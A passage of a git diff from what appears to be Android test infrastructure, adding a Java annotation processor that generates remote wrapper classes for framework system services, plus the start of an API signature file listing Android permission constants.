+            "public static void choosePrivateKeyAlias(@NonNull android.app.Activity, @NonNull android.security.KeyChainAliasCallback, @Nullable String[], @Nullable java.security.Principal[], @Nullable android.net.Uri, @Nullable String)"
+
+
+
+
+    );
+
+    private static final ClassName NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableRemoteDevicePolicyManager");
+    private static final ClassName NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableRemoteContentResolver");
+
+    // TODO(b/205562849): These only support passing null, which is fine for existing tests but will be misleading
+    private static final ClassName NULL_PARCELABLE_ACTIVITY_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableActivity");
+    private static final ClassName NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableAccountManagerCallback");
+    private static final ClassName NULL_HANDLER_CALLBACK_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableHandler");
+
+    private static final ClassName COMPONENT_NAME_CLASSNAME =
+            ClassName.get("android.content", "ComponentName");
+
+    private static final ClassName ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME =
+            ClassName.get(
+                    "com.android.bedstead.remoteframeworkclasses", "AccountManagerFutureWrapper");
+
+    @Override
+    public SourceVersion getSupportedSourceVersion() {
+        return SourceVersion.latest();
+    }
+
+    @Override
+    public boolean process(Set<? extends TypeElement> annotations,
+            RoundEnvironment roundEnv) {
+        if (!roundEnv.getElementsAnnotatedWith(RemoteFrameworkClasses.class).isEmpty()) {
+            Set<MethodSignature> blocklistedMethodSignatures = BLOCKLISTED_METHODS.stream()
+                    .map(m -> MethodSignature.forApiString(
+                            m, processingEnv.getTypeUtils(), processingEnv.getElementUtils()))
+                    .collect(Collectors.toSet());
+
+            for (String systemService : FRAMEWORK_CLASSES) {
+                TypeElement typeElement =
+                        processingEnv.getElementUtils().getTypeElement(systemService);
+                generateRemoteSystemService(
+                        typeElement, blocklistedMethodSignatures, processingEnv.getElementUtils());
+            }
+
+            generateWrappers();
+        }
+
+        return true;
+    }
+
+    private void generateWrappers() {
+        generateWrapper(NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME);
+        generateWrapper(NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME);
+        generateWrapper(NULL_PARCELABLE_ACTIVITY_CLASSNAME);
+        generateWrapper(NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME);
+        generateWrapper(NULL_HANDLER_CALLBACK_CLASSNAME);
+    }
+
+    private void generateWrapper(ClassName className) {
+        String contents = null;
+        try {
+            URL url = Processor.class.getResource(
+                    "/parcelablewrappers/" + className.simpleName() + ".java.txt");
+            contents = Resources.toString(url, StandardCharsets.UTF_8);
+        } catch (IOException e) {
+            throw new IllegalStateException("Could not parse wrapper " + className, e);
+        }
+
+        JavaFileObject builderFile;
+        try {
+            builderFile = processingEnv.getFiler()
+                    .createSourceFile(className.packageName() + "." + className.simpleName());
+        } catch (IOException e) {
+            throw new IllegalStateException(
+                    "Could not write parcelablewrapper for " + className, e);
+        }
+
+        try (PrintWriter out = new PrintWriter(builderFile.openWriter())) {
+            out.write(contents);
+        } catch (IOException e) {
+            throw new IllegalStateException(
+                    "Could not write parcelablewrapper for " + className, e);
+        }
+    }
+
+    private void generateRemoteSystemService(
+            TypeElement frameworkClass,
+            Set<MethodSignature> blocklistedMethodSignatures,
+            Elements elements) {
+        Set<ExecutableElement> methods = filterMethods(getMethods(frameworkClass,
+                processingEnv.getElementUtils()),
+                Apis.forClass(frameworkClass.getQualifiedName().toString(),
+                        processingEnv.getTypeUtils(), processingEnv.getElementUtils()), elements)
+                .stream()
+                .filter(t -> !blocklistedMethodSignatures.contains(
+                        MethodSignature.forMethod(t, elements)))
+                .collect(Collectors.toSet());
+
+        generateFrameworkInterface(frameworkClass, methods);
+        generateFrameworkImpl(frameworkClass, methods);
+
+        if (frameworkClass.getSimpleName().contentEquals("DevicePolicyManager")) {
+            // Special case, we need to support the .getParentProfileInstance method
+            generateDpmParent(frameworkClass, methods);
+        }
+    }
+
+    private void generateFrameworkInterface(
+            TypeElement frameworkClass, Set<ExecutableElement> methods) {
+        MethodSignature parentProfileInstanceSignature =
+                MethodSignature.forApiString(PARENT_PROFILE_INSTANCE, processingEnv.getTypeUtils(),
+                        processingEnv.getElementUtils());
+        MethodSignature getContentResolverSignature =
+                MethodSignature.forApiString(GET_CONTENT_RESOLVER, processingEnv.getTypeUtils(),
+                        processingEnv.getElementUtils());
+
+        Map<MethodSignature, ClassName> signatureReturnOverrides = new HashMap<>();
+        signatureReturnOverrides.put(parentProfileInstanceSignature,
+                ClassName.get("android.app.admin", "RemoteDevicePolicyManager"));
+        signatureReturnOverrides.put(getContentResolverSignature,
+                ClassName.get("android.content", "RemoteContentResolver"));
+
+        String packageName = frameworkClass.getEnclosingElement().toString();
+        ClassName className = ClassName.get(packageName,
+                "Remote" + frameworkClass.getSimpleName().toString());
+        ClassName implClassName = ClassName.get(packageName,
+                "Remote" + frameworkClass.getSimpleName().toString() + "Impl");
+        TypeSpec.Builder classBuilder =
+                TypeSpec.interfaceBuilder(className)
+                        .addModifiers(Modifier.PUBLIC);
+
+        classBuilder.addJavadoc("Public, test, and system interface for {@link $T}.\n\n",
+                frameworkClass);
+        classBuilder.addJavadoc("<p>All methods are annotated {@link $T} for compatibility with the"
+                + " Connected Apps SDK.\n\n", CrossUser.class);
+        classBuilder.addJavadoc("<p>For implementation see {@link $T}.\n", implClassName);
+
+
+        classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
+                .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}",
+                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME)
+                .addMember("futureWrappers", "$T.class",
+                        ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME)
+                .build());
+
+        for (ExecutableElement method : methods) {
+            MethodSpec.Builder methodBuilder =
+                    MethodSpec.methodBuilder(method.getSimpleName().toString())
+                            .returns(ClassName.get(method.getReturnType()))
+                            .addModifiers(Modifier.PUBLIC, Modifier.ABSTRACT)
+                            .addAnnotation(CrossUser.class);
+
+
+            MethodSignature signature = MethodSignature.forMethod(method,
+                    processingEnv.getElementUtils());
+
+            if (signatureReturnOverrides.containsKey(signature)) {
+                methodBuilder.returns(signatureReturnOverrides.get(signature));
+            }
+
+            methodBuilder.addJavadoc("See {@link $T#$L}.",
+                    ClassName.get(frameworkClass.asType()), method.getSimpleName());
+
+            for (TypeMirror thrownType : method.getThrownTypes()) {
+                methodBuilder.addException(ClassName.get(thrownType));
+            }
+
+            for (VariableElement param : method.getParameters()) {
+                ParameterSpec parameterSpec =
+                        ParameterSpec.builder(ClassName.get(param.asType()),
+                                param.getSimpleName().toString()).build();
+
+                methodBuilder.addParameter(parameterSpec);
+            }
+
+            classBuilder.addMethod(methodBuilder.build());
+        }
+
+        writeClassToFile(packageName, classBuilder.build());
+    }
+
+    private void generateDpmParent(TypeElement frameworkClass, Set<ExecutableElement> methods) {
+        MethodSignature parentProfileInstanceSignature = MethodSignature.forApiString(
+                PARENT_PROFILE_INSTANCE, processingEnv.getTypeUtils(),
+                processingEnv.getElementUtils());
+        String packageName = frameworkClass.getEnclosingElement().toString();
+        ClassName className =
+                ClassName.get(packageName, "Remote" + frameworkClass.getSimpleName() + "Parent");
+        TypeSpec.Builder classBuilder =
+                TypeSpec.classBuilder(className).addModifiers(Modifier.FINAL, Modifier.PUBLIC);
+
+        classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
+                .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}",
+                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME)
+                .build());
+
+        classBuilder.addField(ClassName.get(frameworkClass),
+                "mFrameworkClass", Modifier.PRIVATE, Modifier.FINAL);
+
+        classBuilder.addMethod(
+                MethodSpec.constructorBuilder()
+                        .addModifiers(Modifier.PUBLIC)
+                        .addParameter(ClassName.get(frameworkClass), "frameworkClass")
+                        .addCode("mFrameworkClass = frameworkClass;")
+                        .build()
+        );
+
+        for (ExecutableElement method : methods) {
+            MethodSpec.Builder methodBuilder =
+                    MethodSpec.methodBuilder(method.getSimpleName().toString())
+                            .returns(ClassName.get(method.getReturnType()))
+                            .addModifiers(Modifier.PUBLIC)
+                            .addAnnotation(CrossUser.class);
+
+            MethodSignature signature = MethodSignature.forMethod(method,
+                    processingEnv.getElementUtils());
+
+            for (TypeMirror thrownType : method.getThrownTypes()) {
+                methodBuilder.addException(ClassName.get(thrownType));
+            }
+
+            methodBuilder.addParameter(COMPONENT_NAME_CLASSNAME, "profileOwnerComponentName");
+
+            List<String> paramNames = new ArrayList<>();
+
+            for (VariableElement param : method.getParameters()) {
+                String paramName = param.getSimpleName().toString();
+                ParameterSpec parameterSpec =
+                        ParameterSpec.builder(ClassName.get(param.asType()), paramName).build();
+
+                paramNames.add(paramName);
+
+                methodBuilder.addParameter(parameterSpec);
+            }
+
+            if (signature.equals(parentProfileInstanceSignature)) {
+                // Special case, we want to return a RemoteDevicePolicyManager instead
+                methodBuilder.returns(ClassName.get(
+                        "android.app.admin", "RemoteDevicePolicyManager"));
+                methodBuilder.addStatement(
+                        "mFrameworkClass.getParentProfileInstance(profileOwnerComponentName).$L"
+                                + "($L)",
+                        method.getSimpleName(), String.join(", ", paramNames));
+                methodBuilder.addStatement("throw new $T($S)", UnsupportedOperationException.class,
+                        "TestApp does not support calling .getParentProfileInstance() on a parent"
+                                + ".");
+            } else if (method.getReturnType().getKind().equals(TypeKind.VOID)) {
+                methodBuilder.addStatement(
+                        "mFrameworkClass.getParentProfileInstance(profileOwnerComponentName).$L"
+                                + "($L)",
+                        method.getSimpleName(), String.join(", ", paramNames));
+            } else {
+                methodBuilder.addStatement(
+                        "return mFrameworkClass.getParentProfileInstance"
+                                + "(profileOwnerComponentName).$L($L)",
+                        method.getSimpleName(), String.join(", ", paramNames));
+            }
+
+            classBuilder.addMethod(methodBuilder.build());
+        }
+
+        writeClassToFile(packageName, classBuilder.build());
+    }
+
+    private void generateFrameworkImpl(TypeElement frameworkClass, Set<ExecutableElement> methods) {
+        MethodSignature parentProfileInstanceSignature =
+                MethodSignature.forApiString(PARENT_PROFILE_INSTANCE, processingEnv.getTypeUtils(),
+                        processingEnv.getElementUtils());
+        MethodSignature getContentResolverSignature =
+                MethodSignature.forApiString(GET_CONTENT_RESOLVER, processingEnv.getTypeUtils(),
+                        processingEnv.getElementUtils());
+
+        Map<MethodSignature, ClassName> signatureReturnOverrides = new HashMap<>();
+        signatureReturnOverrides.put(parentProfileInstanceSignature,
+                ClassName.get("android.app.admin", "RemoteDevicePolicyManager"));
+        signatureReturnOverrides.put(getContentResolverSignature,
+                ClassName.get("android.content", "RemoteContentResolver"));
+
+        String packageName = frameworkClass.getEnclosingElement().toString();
+        ClassName interfaceClassName = ClassName.get(packageName,
+                "Remote" + frameworkClass.getSimpleName().toString());
+        ClassName className = ClassName.get(packageName,
+                "Remote" + frameworkClass.getSimpleName().toString() + "Impl");
+        TypeSpec.Builder classBuilder =
+                TypeSpec.classBuilder(
+                        className)
+                        .addSuperinterface(interfaceClassName)
+                        .addModifiers(Modifier.PUBLIC);
+
+        classBuilder.addField(ClassName.get(frameworkClass),
+                "mFrameworkClass", Modifier.PRIVATE, Modifier.FINAL);
+
+        classBuilder.addMethod(
+                MethodSpec.constructorBuilder()
+                        .addModifiers(Modifier.PUBLIC)
+                        .addParameter(ClassName.get(frameworkClass), "frameworkClass")
+                        .addCode("mFrameworkClass = frameworkClass;")
+                        .build()
+        );
+
+        for (ExecutableElement method : methods) {
+            MethodSpec.Builder methodBuilder =
+                    MethodSpec.methodBuilder(method.getSimpleName().toString())
+                            .returns(ClassName.get(method.getReturnType()))
+                            .addModifiers(Modifier.PUBLIC)
+                            .addAnnotation(Override.class);
+
+            MethodSignature signature = MethodSignature.forMethod(method,
+                    processingEnv.getElementUtils());
+
+            for (TypeMirror thrownType : method.getThrownTypes()) {
+                methodBuilder.addException(ClassName.get(thrownType));
+            }
+
+            List<String> paramNames = new ArrayList<>();
+
+            for (VariableElement param : method.getParameters()) {
+                String paramName = param.getSimpleName().toString();
+
+                ParameterSpec parameterSpec =
+                        ParameterSpec.builder(ClassName.get(param.asType()), paramName).build();
+
+                paramNames.add(paramName);
+
+                methodBuilder.addParameter(parameterSpec);
+            }
+
+            String frameworkClassName = "mFrameworkClass";
+
+            if (method.getModifiers().contains(Modifier.STATIC)) {
+                frameworkClassName = frameworkClass.getQualifiedName().toString();
+            }
+
+            if (signatureReturnOverrides.containsKey(signature)) {
+                methodBuilder.returns(signatureReturnOverrides.get(signature));
+                methodBuilder.addStatement(
+                        "return new $TImpl($L.$L($L))",
+                        signatureReturnOverrides.get(signature), frameworkClassName,
+                        method.getSimpleName(), String.join(", ", paramNames));
+            } else if (method.getReturnType().getKind().equals(TypeKind.VOID)) {
+                methodBuilder.addStatement(
+                        "$L.$L($L)",
+                        frameworkClassName, method.getSimpleName(), String.join(", ", paramNames));
+            } else {
+                methodBuilder.addStatement(
+                        "return $L.$L($L)",
+                        frameworkClassName, method.getSimpleName(), String.join(", ", paramNames));
+            }
+
+            classBuilder.addMethod(methodBuilder.build());
+        }
+
+        writeClassToFile(packageName, classBuilder.build());
+    }
+
+    private Set<ExecutableElement> filterMethods(
+            Set<ExecutableElement> allMethods, Apis validApis, Elements elements) {
+        Set<ExecutableElement> filteredMethods = new HashSet<>();
+
+        for (ExecutableElement method : allMethods) {
+            MethodSignature methodSignature = MethodSignature.forMethod(method, elements);
+            if (validApis.methods().contains(methodSignature)) {
+                if (method.getModifiers().contains(Modifier.PROTECTED)) {
+                    System.out.println(methodSignature + " is protected. Dropping");
+                } else {
+                    filteredMethods.add(method);
+                }
+            } else {
+                System.out.println("No matching public API for " + methodSignature);
+            }
+        }
+
+        return filteredMethods;
+    }
+
+    private void writeClassToFile(String packageName, TypeSpec clazz) {
+        String qualifiedClassName =
+                packageName.isEmpty() ? clazz.name : packageName + "." + clazz.name;
+
+        JavaFile javaFile = JavaFile.builder(packageName, clazz).build();
+        try {
+            JavaFileObject builderFile =
+                    processingEnv.getFiler().createSourceFile(qualifiedClassName);
+            try (PrintWriter out = new PrintWriter(builderFile.openWriter())) {
+                javaFile.writeTo(out);
+            }
+        } catch (IOException e) {
+            throw new IllegalStateException("Error writing " + qualifiedClassName + " to file", e);
+        }
+    }
+
+    private Set<ExecutableElement> getMethods(TypeElement interfaceClass, Elements elements) {
+        Map<String, ExecutableElement> methods = new HashMap<>();
+        getMethods(methods, interfaceClass, elements);
+        return new HashSet<>(methods.values());
+    }
+
+    private void getMethods(Map<String, ExecutableElement> methods, TypeElement interfaceClass,
+            Elements elements) {
+        interfaceClass.getEnclosedElements().stream()
+                .filter(e -> e instanceof ExecutableElement)
+                .map(e -> (ExecutableElement) e)
+                .filter(e -> !methods.containsKey(e.getSimpleName().toString()))
+                .filter(e -> e.getModifiers().contains(Modifier.PUBLIC))
+                .forEach(e -> {
+                    methods.put(methodHash(e), e);
+                });
+
+        interfaceClass.getInterfaces().stream()
+                .map(m -> elements.getTypeElement(m.toString()))
+                .forEach(m -> getMethods(methods, m, elements));
+    }
+
+    private String methodHash(ExecutableElement method) {
+        return method.getSimpleName() + "(" + method.getParameters().stream()
+                .map(p -> p.asType().toString()).collect(
+                Collectors.joining(",")) + ")";
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/annotations/RemoteFrameworkClasses.java
similarity index 67%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
copy to common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/annotations/RemoteFrameworkClasses.java
index 669bb13..f025171 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/annotations/RemoteFrameworkClasses.java
@@ -14,11 +14,13 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.testapp;
+package com.android.bedstead.remoteframeworkclasses.processor.annotations;
 
-/** {@link Exception} thrown when a query doesn't match any test apps. */
-public class NotFoundException extends RuntimeException {
-    public NotFoundException(TestAppQueryBuilder query) {
-
-    }
+/**
+ * Entry point to RemoteFrameworkClasses.
+ *
+ * <p>This should only be used in the RemoteFrameworkClasses module, to trigger the generation of
+ * the Remote* classes.
+ */
+public @interface RemoteFrameworkClasses {
 }
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/current.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/current.txt
new file mode 100644
index 0000000..adabda3
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/current.txt
@@ -0,0 +1,57834 @@
+// Signature format: 2.0
+package android {
+
+  public final class Manifest {
+    ctor public Manifest();
+  }
+
+  public static final class Manifest.permission {
+    ctor public Manifest.permission();
+    field public static final String ACCEPT_HANDOVER = "android.permission.ACCEPT_HANDOVER";
+    field public static final String ACCESS_BACKGROUND_LOCATION = "android.permission.ACCESS_BACKGROUND_LOCATION";
+    field public static final String ACCESS_BLOBS_ACROSS_USERS = "android.permission.ACCESS_BLOBS_ACROSS_USERS";
+    field public static final String ACCESS_CHECKIN_PROPERTIES = "android.permission.ACCESS_CHECKIN_PROPERTIES";
+    field public static final String ACCESS_COARSE_LOCATION = "android.permission.ACCESS_COARSE_LOCATION";
+    field public static final String ACCESS_FINE_LOCATION = "android.permission.ACCESS_FINE_LOCATION";
+    field public static final String ACCESS_LOCATION_EXTRA_COMMANDS = "android.permission.ACCESS_LOCATION_EXTRA_COMMANDS";
+    field public static final String ACCESS_MEDIA_LOCATION = "android.permission.ACCESS_MEDIA_LOCATION";
+    field public static final String ACCESS_NETWORK_STATE = "android.permission.ACCESS_NETWORK_STATE";
+    field public static final String ACCESS_NOTIFICATION_POLICY = "android.permission.ACCESS_NOTIFICATION_POLICY";
+    field public static final String ACCESS_WIFI_STATE = "android.permission.ACCESS_WIFI_STATE";
+    field public static final String ACCOUNT_MANAGER = "android.permission.ACCOUNT_MANAGER";
+    field public static final String ACTIVITY_RECOGNITION = "android.permission.ACTIVITY_RECOGNITION";
+    field public static final String ADD_VOICEMAIL = "com.android.voicemail.permission.ADD_VOICEMAIL";
+    field public static final String ANSWER_PHONE_CALLS = "android.permission.ANSWER_PHONE_CALLS";
+    field public static final String BATTERY_STATS = "android.permission.BATTERY_STATS";
+    field public static final String BIND_ACCESSIBILITY_SERVICE = "android.permission.BIND_ACCESSIBILITY_SERVICE";
+    field public static final String BIND_APPWIDGET = "android.permission.BIND_APPWIDGET";
+    field public static final String BIND_AUTOFILL_SERVICE = "android.permission.BIND_AUTOFILL_SERVICE";
+    field public static final String BIND_CALL_REDIRECTION_SERVICE = "android.permission.BIND_CALL_REDIRECTION_SERVICE";
+    field public static final String BIND_CARRIER_MESSAGING_CLIENT_SERVICE = "android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE";
+    field @Deprecated public static final String BIND_CARRIER_MESSAGING_SERVICE = "android.permission.BIND_CARRIER_MESSAGING_SERVICE";
+    field public static final String BIND_CARRIER_SERVICES = "android.permission.BIND_CARRIER_SERVICES";
+    field @Deprecated public static final String BIND_CHOOSER_TARGET_SERVICE = "android.permission.BIND_CHOOSER_TARGET_SERVICE";
+    field public static final String BIND_COMPANION_DEVICE_SERVICE = "android.permission.BIND_COMPANION_DEVICE_SERVICE";
+    field public static final String BIND_CONDITION_PROVIDER_SERVICE = "android.permission.BIND_CONDITION_PROVIDER_SERVICE";
+    field public static final String BIND_CONTROLS = "android.permission.BIND_CONTROLS";
+    field public static final String BIND_DEVICE_ADMIN = "android.permission.BIND_DEVICE_ADMIN";
+    field public static final String BIND_DREAM_SERVICE = "android.permission.BIND_DREAM_SERVICE";
+    field public static final String BIND_INCALL_SERVICE = "android.permission.BIND_INCALL_SERVICE";
+    field public static final String BIND_INPUT_METHOD = "android.permission.BIND_INPUT_METHOD";
+    field public static final String BIND_MIDI_DEVICE_SERVICE = "android.permission.BIND_MIDI_DEVICE_SERVICE";
+    field public static final String BIND_NFC_SERVICE = "android.permission.BIND_NFC_SERVICE";
+    field public static final String BIND_NOTIFICATION_LISTENER_SERVICE = "android.permission.BIND_NOTIFICATION_LISTENER_SERVICE";
+    field public static final String BIND_PRINT_SERVICE = "android.permission.BIND_PRINT_SERVICE";
+    field public static final String BIND_QUICK_ACCESS_WALLET_SERVICE = "android.permission.BIND_QUICK_ACCESS_WALLET_SERVICE";
+    field public static final String BIND_QUICK_SETTINGS_TILE = "android.permission.BIND_QUICK_SETTINGS_TILE";
+    field public static final String BIND_REMOTEVIEWS = "android.permission.BIND_REMOTEVIEWS";
+    field public static final String BIND_SCREENING_SERVICE = "android.permission.BIND_SCREENING_SERVICE";
+    field public static final String BIND_TELECOM_CONNECTION_SERVICE = "android.permission.BIND_TELECOM_CONNECTION_SERVICE";
+    field public static final String BIND_TEXT_SERVICE = "android.permission.BIND_TEXT_SERVICE";
+    field public static final String BIND_TV_INPUT = "android.permission.BIND_TV_INPUT";
+    field public static final String BIND_VISUAL_VOICEMAIL_SERVICE = "android.permission.BIND_VISUAL_VOICEMAIL_SERVICE";
+    field public static final String BIND_VOICE_INTERACTION = "android.permission.BIND_VOICE_INTERACTION";
+    field public static final String BIND_VPN_SERVICE = "android.permission.BIND_VPN_SERVICE";
+    field public static final String BIND_VR_LISTENER_SERVICE = "android.permission.BIND_VR_LISTENER_SERVICE";
+    field public static final String BIND_WALLPAPER = "android.permission.BIND_WALLPAPER";
+    field public static final String BLUETOOTH = "android.permission.BLUETOOTH";
+    field public static final String BLUETOOTH_ADMIN = "android.permission.BLUETOOTH_ADMIN";
+    field public static final String BLUETOOTH_ADVERTISE = "android.permission.BLUETOOTH_ADVERTISE";
+    field public static final String BLUETOOTH_CONNECT = "android.permission.BLUETOOTH_CONNECT";
+    field public static final String BLUETOOTH_PRIVILEGED = "android.permission.BLUETOOTH_PRIVILEGED";
+    field public static final String BLUETOOTH_SCAN = "android.permission.BLUETOOTH_SCAN";
+    field public static final String BODY_SENSORS = "android.permission.BODY_SENSORS";
+    field public static final String BROADCAST_PACKAGE_REMOVED = "android.permission.BROADCAST_PACKAGE_REMOVED";
+    field public static final String BROADCAST_SMS = "android.permission.BROADCAST_SMS";
+    field public static final String BROADCAST_STICKY = "android.permission.BROADCAST_STICKY";
+    field public static final String BROADCAST_WAP_PUSH = "android.permission.BROADCAST_WAP_PUSH";
+    field public static final String CALL_COMPANION_APP = "android.permission.CALL_COMPANION_APP";
+    field public static final String CALL_PHONE = "android.permission.CALL_PHONE";
+    field public static final String CALL_PRIVILEGED = "android.permission.CALL_PRIVILEGED";
+    field public static final String CAMERA = "android.permission.CAMERA";
+    field public static final String CAPTURE_AUDIO_OUTPUT = "android.permission.CAPTURE_AUDIO_OUTPUT";
+    field public static final String CHANGE_COMPONENT_ENABLED_STATE = "android.permission.CHANGE_COMPONENT_ENABLED_STATE";
+    field public static final String CHANGE_CONFIGURATION = "android.permission.CHANGE_CONFIGURATION";
+    field public static final String CHANGE_NETWORK_STATE = "android.permission.CHANGE_NETWORK_STATE";
+    field public static final String CHANGE_WIFI_MULTICAST_STATE = "android.permission.CHANGE_WIFI_MULTICAST_STATE";
+    field public static final String CHANGE_WIFI_STATE = "android.permission.CHANGE_WIFI_STATE";
+    field public static final String CLEAR_APP_CACHE = "android.permission.CLEAR_APP_CACHE";
+    field public static final String CONTROL_LOCATION_UPDATES = "android.permission.CONTROL_LOCATION_UPDATES";
+    field public static final String DELETE_CACHE_FILES = "android.permission.DELETE_CACHE_FILES";
+    field public static final String DELETE_PACKAGES = "android.permission.DELETE_PACKAGES";
+    field public static final String DIAGNOSTIC = "android.permission.DIAGNOSTIC";
+    field public static final String DISABLE_KEYGUARD = "android.permission.DISABLE_KEYGUARD";
+    field public static final String DUMP = "android.permission.DUMP";
+    field public static final String EXPAND_STATUS_BAR = "android.permission.EXPAND_STATUS_BAR";
+    field public static final String FACTORY_TEST = "android.permission.FACTORY_TEST";
+    field public static final String FOREGROUND_SERVICE = "android.permission.FOREGROUND_SERVICE";
+    field public static final String GET_ACCOUNTS = "android.permission.GET_ACCOUNTS";
+    field public static final String GET_ACCOUNTS_PRIVILEGED = "android.permission.GET_ACCOUNTS_PRIVILEGED";
+    field public static final String GET_PACKAGE_SIZE = "android.permission.GET_PACKAGE_SIZE";
+    field @Deprecated public static final String GET_TASKS = "android.permission.GET_TASKS";
+    field public static final String GLOBAL_SEARCH = "android.permission.GLOBAL_SEARCH";
+    field public static final String HIDE_OVERLAY_WINDOWS = "android.permission.HIDE_OVERLAY_WINDOWS";
+    field public static final String HIGH_SAMPLING_RATE_SENSORS = "android.permission.HIGH_SAMPLING_RATE_SENSORS";
+    field public static final String INSTALL_LOCATION_PROVIDER = "android.permission.INSTALL_LOCATION_PROVIDER";
+    field public static final String INSTALL_PACKAGES = "android.permission.INSTALL_PACKAGES";
+    field public static final String INSTALL_SHORTCUT = "com.android.launcher.permission.INSTALL_SHORTCUT";
+    field public static final String INSTANT_APP_FOREGROUND_SERVICE = "android.permission.INSTANT_APP_FOREGROUND_SERVICE";
+    field public static final String INTERACT_ACROSS_PROFILES = "android.permission.INTERACT_ACROSS_PROFILES";
+    field public static final String INTERNET = "android.permission.INTERNET";
+    field public static final String KILL_BACKGROUND_PROCESSES = "android.permission.KILL_BACKGROUND_PROCESSES";
+    field public static final String LOADER_USAGE_STATS = "android.permission.LOADER_USAGE_STATS";
+    field public static final String LOCATION_HARDWARE = "android.permission.LOCATION_HARDWARE";
+    field public static final String MANAGE_DOCUMENTS = "android.permission.MANAGE_DOCUMENTS";
+    field public static final String MANAGE_EXTERNAL_STORAGE = "android.permission.MANAGE_EXTERNAL_STORAGE";
+    field public static final String MANAGE_MEDIA = "android.permission.MANAGE_MEDIA";
+    field public static final String MANAGE_ONGOING_CALLS = "android.permission.MANAGE_ONGOING_CALLS";
+    field public static final String MANAGE_OWN_CALLS = "android.permission.MANAGE_OWN_CALLS";
+    field public static final String MASTER_CLEAR = "android.permission.MASTER_CLEAR";
+    field public static final String MEDIA_CONTENT_CONTROL = "android.permission.MEDIA_CONTENT_CONTROL";
+    field public static final String MODIFY_AUDIO_SETTINGS = "android.permission.MODIFY_AUDIO_SETTINGS";
+    field public static final String MODIFY_PHONE_STATE = "android.permission.MODIFY_PHONE_STATE";
+    field public static final String MOUNT_FORMAT_FILESYSTEMS = "android.permission.MOUNT_FORMAT_FILESYSTEMS";
+    field public static final String MOUNT_UNMOUNT_FILESYSTEMS = "android.permission.MOUNT_UNMOUNT_FILESYSTEMS";
+    field public static final String NFC = "android.permission.NFC";
+    field public static final String NFC_PREFERRED_PAYMENT_INFO = "android.permission.NFC_PREFERRED_PAYMENT_INFO";
+    field public static final String NFC_TRANSACTION_EVENT = "android.permission.NFC_TRANSACTION_EVENT";
+    field public static final String PACKAGE_USAGE_STATS = "android.permission.PACKAGE_USAGE_STATS";
+    field @Deprecated public static final String PERSISTENT_ACTIVITY = "android.permission.PERSISTENT_ACTIVITY";
+    field @Deprecated public static final String PROCESS_OUTGOING_CALLS = "android.permission.PROCESS_OUTGOING_CALLS";
+    field public static final String QUERY_ALL_PACKAGES = "android.permission.QUERY_ALL_PACKAGES";
+    field public static final String READ_CALENDAR = "android.permission.READ_CALENDAR";
+    field public static final String READ_CALL_LOG = "android.permission.READ_CALL_LOG";
+    field public static final String READ_CONTACTS = "android.permission.READ_CONTACTS";
+    field public static final String READ_EXTERNAL_STORAGE = "android.permission.READ_EXTERNAL_STORAGE";
+    field @Deprecated public static final String READ_INPUT_STATE = "android.permission.READ_INPUT_STATE";
+    field public static final String READ_LOGS = "android.permission.READ_LOGS";
+    field public static final String READ_PHONE_NUMBERS = "android.permission.READ_PHONE_NUMBERS";
+    field public static final String READ_PHONE_STATE = "android.permission.READ_PHONE_STATE";
+    field public static final String READ_PRECISE_PHONE_STATE = "android.permission.READ_PRECISE_PHONE_STATE";
+    field public static final String READ_SMS = "android.permission.READ_SMS";
+    field public static final String READ_SYNC_SETTINGS = "android.permission.READ_SYNC_SETTINGS";
+    field public static final String READ_SYNC_STATS = "android.permission.READ_SYNC_STATS";
+    field public static final String READ_VOICEMAIL = "com.android.voicemail.permission.READ_VOICEMAIL";
+    field public static final String REBOOT = "android.permission.REBOOT";
